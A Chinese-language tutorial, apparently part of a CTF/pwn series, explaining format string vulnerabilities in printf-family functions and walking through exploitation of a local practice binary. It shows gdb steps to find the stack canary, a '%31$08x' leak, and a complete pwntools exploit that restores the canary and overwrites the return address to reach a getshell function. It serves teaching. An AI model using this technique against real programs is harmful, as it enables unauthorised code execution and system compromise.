PWN从入门到放弃(8)——格式化字符串漏洞

0x00 格式化字符串函数介绍

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数

0x01 格式化字符串函数

  • 输入
    • scanf
  • 输出
    • printf 输出到 stdout
    • fprintf 输出到指定 FILE 流
    • vprintf 根据参数列表格式化输出到 stdout
    • vfprintf 根据参数列表格式化输出到指定 FILE 流
    • sprintf 输出到字符串
    • snprintf 输出指定字节数到字符串
    • vsprintf 根据参数列表格式化输出到字符串
    • vsnprintf 根据参数列表格式化输出指定字节到字符串
    • setproctitle 设置 argv
    • syslog 输出日志
    • err, verr, warn, vwarn 等 。。。

0x02 格式化字符串

这里我们了解一下格式化字符串的格式,其基本格式如下

%[parameter][flags][field width][.precision][length]type

每一种 pattern 的含义请具体参考维基百科的格式化字符串 。以下几个 pattern 中的对应选择需要重点关注

  • parameter
    • n$,获取格式化字符串中的指定参数
  • flag
  • field width
    • 输出的最小宽度
  • precision
    • 输出的最大长度
  • length,输出的长度
    • hh,输出一个字节
    • h,输出一个双字节
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
    • c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
    • p, void * 型,输出对应变量的值。printf(“%p”,a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址。
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    • %, ‘%‘字面值,不接受任何 flags, width。

0x03 格式化字符串漏洞原理

格式化字符串漏洞的原理也是程序编写者编写不规范造成的。

还是用上面那个例子

如果printf语句写成这样:

printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值

对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。

0x04 格式化字符串漏洞利用

1)查看文件信息

按照国际惯例,先查看文件信息

$ file ex2
$ checksec ex2

32位程序,开启了canary和nx保护

2)查看程序流程

运行一下程序,看看程序的大概流程

程序获取我们两次输入,并且将我们的输入打印出来,还会显示一些奇奇怪怪的东西

3)分析程序&查找漏洞点

将程序扔到ida pro里分析

main()函数调用了vuln()函数,很明显的提示,漏洞就在这里,我们继续分析vuln()函数

我们看到程序使用了for循环,循环两次,每次执行read()和print()函数,read函数这里很明显的溢出,但是程序开启了canary保护,我们溢出必然会覆盖canary的值,导致程序中断。

不过程序使用print()函数来进行输出,并且存在格式化字符串漏洞,因此,我们可以通过利用格式化字符串漏洞来泄露出canary的值。

4)泄露canary值

首先,我们先用gdb来调试程序

$ gdb ./ex2

先反编译一下vuln()函数

gdb-peda$ disass vuln

我们可以看到print()函数的地址,对这个地址下断点,然后运行程序

gdb-peda$ b * 0x08048665
gdb-peda$ run

随便输入点啥,并敲回车,程序执行到断点

我们看刚刚反编译的vuln()函数

这个ebp-0xc就是canary的位置

我们查看一下canary的值

gdb-peda$ p $ebp-0xc
gdb-peda$ x $ebp-0xc


我们看到canary的值为0xbb1ee600

这里我们查看一下栈空间

gdb-peda$ stack 0x28

这里圈出的就是我们canary的值,我们从上往下数,数到canary是32,考虑到我们还要输入格式化字符串来泄露canary,所以到canary是31

我们从头再来测试一下,我们还是在print()函数下断点,这回我们输入

gdb-peda$ %31$08x

然后程序会断下来,我们输入ni继续单步执行一次,然后查看返回的值和canary的值是否一致

这里我们泄露出的canary值为5a0baf00

查看栈空间

此时我们已经成功泄露canary的值

那么接下来就是要考虑怎么写exp了

5)编写exp

程序给我们两次输入,我们利用第一次输入来泄露canary的值,利用第二次输入来进行栈溢出,程序中还内置了getshell函数,我们需要将返回地址覆盖成getshell函数的地址。

那么现在的问题是如何利用第二次输入来进行栈溢出

我们还是利用gdb来进行调试,在print()函数位置下断点,第一次输入随便输入点什么,然后ni一直下一步,直到第二次输入时,我们输入一些有规律的字符,如:ABCD234

当程序运行到这里时,是第二次输入的位置,我们ni单步走一下,就可以输入字符串了,输入abcd1234后,查看栈空间

我们看图,第一个红框是我们输入的字符串位置,第二个红框是canary的值,第三个红框是返回地址,那么现在思路就比较直观了

我们从输入字符串位置到canary一共是25*4个字节,canary和返回地址中间还有3*4个字节

也就是说我们的payload可以写成

payload = 'a' * 25 * 4
payload += p32(canary)
payload += 'a' * 3 * 4
payload += p32(getshell_addr)

6)附上完整exp

from pwn import *

r = process('./ex2')

get_canary = '%31$08x'
r.sendline(get_canary)

r.recvline()
canary_tmp = r.recvline()
canary = int('0x' + canary_tmp,16)

payload = 'a' * 4 * 25
payload += p32(canary)
payload += 'a' * 4 * 3
payload += p32(0x0804859b)

sleep(1)
r.sendline(payload)

r.interactive()